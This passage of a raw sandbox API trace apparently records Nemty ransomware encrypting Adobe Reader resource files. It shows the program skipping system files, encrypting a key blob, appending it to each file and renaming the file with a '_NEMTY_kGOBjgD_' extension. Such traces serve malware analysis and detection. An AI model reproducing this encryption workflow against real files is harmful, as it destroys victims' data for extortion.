lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr.fca", lpUsedDefaultChar=0x0) returned 7 [0216.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr.fca", lpUsedDefaultChar=0x0) returned 7 [0216.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.fca", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr.fca", lpUsedDefaultChar=0x0) returned 7 [0216.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.fca", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr.fca", lpUsedDefaultChar=0x0) returned 7 [0216.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0216.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0216.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0216.954] Sleep (dwMilliseconds=0x5) [0216.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34f516d0, dwHighDateTime=0x1d561e8)) [0216.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34f516d0, dwHighDateTime=0x1d561e8)) [0216.963] GetLastError () returned 0x0 [0216.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.963] GetLastError () returned 0x0 [0216.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.963] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.963] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.963] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.963] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="uq6+HDAk1EykXzoIvk6JpNP/kGofOZQmwfzFGNzjH+4z3o9KAdEDm/RbJpgePi9c\r\nr54YFSYR0oqQG6uN8k39mjw3ATVt8lcBCDuV0aMbskBEv4u2RUDQrCmNluqMN0/q\r\n/HenilgsWMWchUX+BhT1YY2rOkzG+wTzBaB9WLozBaRjXPGutLHJfZHqHF70sQ/4\r\nmyejnQx6Mua2IKegMGFPlMxxjMoTy1p7M6wCBQJceKSRmfPDKXcXlawGr+pt17EI\r\nXIqrhFtEPYocuqCiEewbGqhSxhZ1I0vqqxI5t0948NDT08BB73a+WBg1UqBoypGJ\r\nUURkqEzZ2pOU7Ixr7bQ4rg==\r\n", pcchString=0x653df5c) returned 1 [0216.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0216.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.963] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.964] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=1780) returned 1 [0216.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6f0) returned 0x4f9f4a0 [0216.964] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.964] ReadFile (in: hFile=0x320, lpBuffer=0x4f9f4a0, nNumberOfBytesToRead=0x6f0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesRead=0x653e1a4*=0x6f0, lpOverlapped=0x0) returned 1 [0216.966] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.966] WriteFile (in: hFile=0x320, lpBuffer=0x4f9f4a0*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesWritten=0x653e19c*=0x6f0, lpOverlapped=0x0) returned 1 [0216.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9f4a0 | out: hHeap=0x4f90000) returned 1 [0216.966] SetFilePointer (in: hFile=0x320, lDistanceToMove=1780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f4 [0216.966] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.966] CloseHandle (hObject=0x320) returned 1 [0216.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0216.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0216.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0216.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0216.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.967] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr.fca._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr.fca._nemty_kgobjgd_")) returned 1 [0216.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0216.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0216.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0216.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.967] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="cfr.hyp", cAlternateFileName="")) returned 1 [0216.967] lstrcmpiW (lpString1="cfr.hyp", lpString2=".") returned 1 [0216.967] lstrcmpiW (lpString1="cfr.hyp", lpString2="..") returned 1 [0216.967] lstrcmpiW (lpString1="cfr.hyp", lpString2="...") returned 1 [0216.967] lstrcmpiW (lpString1="cfr.hyp", lpString2="windows") returned -1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="$RECYCLE.BIN") returned 1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="rsa") returned -1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="NTDETECT.COM") returned -1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="ntldr") returned -1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="MSDOS.SYS") returned -1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="IO.SYS") returned -1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="boot.ini") returned 1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="boot.ini") returned 1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="ntuser.dat") returned -1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="desktop.ini") returned -1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="CONFIG.SYS") returned -1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="RECYCLER") returned -1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="BOOTSECT.BAK") returned 1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="bootmgr") returned 1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="programdata") returned -1 [0216.968] lstrcmpiW (lpString1="cfr.hyp", lpString2="appdata") returned 1 [0216.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0216.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0216.968] Sleep (dwMilliseconds=0x5) [0216.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34f77830, dwHighDateTime=0x1d561e8)) [0216.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34f77830, dwHighDateTime=0x1d561e8)) [0216.978] GetLastError () returned 0x0 [0216.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.978] GetLastError () returned 0x0 [0216.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.979] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.979] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.979] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.979] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="R0g9JLN2IFMKrCpWBl2CMUt7roY7eK7wdQ5OMUPqh9Vu8UZi9xRdih9l75ghRwMu\r\n8kKUHTE1cAPUmnk4SuCEqBmnVW12zFESHzyNMuQoKUoCOJFOX/NIkzeLdcsBbhhc\r\nsaqC6cL3U7knDwUlKGNku9Cu/fP2nxbWaLmH4LpoasdRzKJzNdkOj1zgcwE4/Oyi\r\nN6c7xlKZMgXtgfXqENtwf7gptfgcFkpJdahCRLAQWEHEuRMwrmBFCEcfQ4Q3tlOA\r\nuPi3LUCgP+dtigK2YF1JEAPSc7bQm4MlB+kj2J5DUTKtVhtUJmdclzX9hlap1sTw\r\nb8O/iCkBlEYDf6Cg/yqcSA==\r\n", pcchString=0x653df5c) returned 1 [0216.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0216.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.980] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=8192) returned 1 [0216.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6354c48 [0216.980] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.980] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x2000, lpOverlapped=0x0) returned 1 [0216.982] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.982] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x2000, lpOverlapped=0x0) returned 1 [0216.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0216.982] SetFilePointer (in: hFile=0x320, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0216.982] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.983] CloseHandle (hObject=0x320) returned 1 [0216.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0216.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0216.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0216.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0216.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.983] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr.hyp._nemty_kgobjgd_")) returned 1 [0216.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0216.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0216.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0216.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.984] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="cfr32.clx", cAlternateFileName="")) returned 1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2=".") returned 1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="..") returned 1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="...") returned 1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="windows") returned -1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="$RECYCLE.BIN") returned 1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="rsa") returned -1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="NTDETECT.COM") returned -1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="ntldr") returned -1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="MSDOS.SYS") returned -1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="IO.SYS") returned -1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="boot.ini") returned 1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="boot.ini") returned 1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="ntuser.dat") returned -1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="desktop.ini") returned -1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="CONFIG.SYS") returned -1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="RECYCLER") returned -1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="BOOTSECT.BAK") returned 1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="bootmgr") returned 1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="programdata") returned -1 [0216.984] lstrcmpiW (lpString1="cfr32.clx", lpString2="appdata") returned 1 [0216.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) 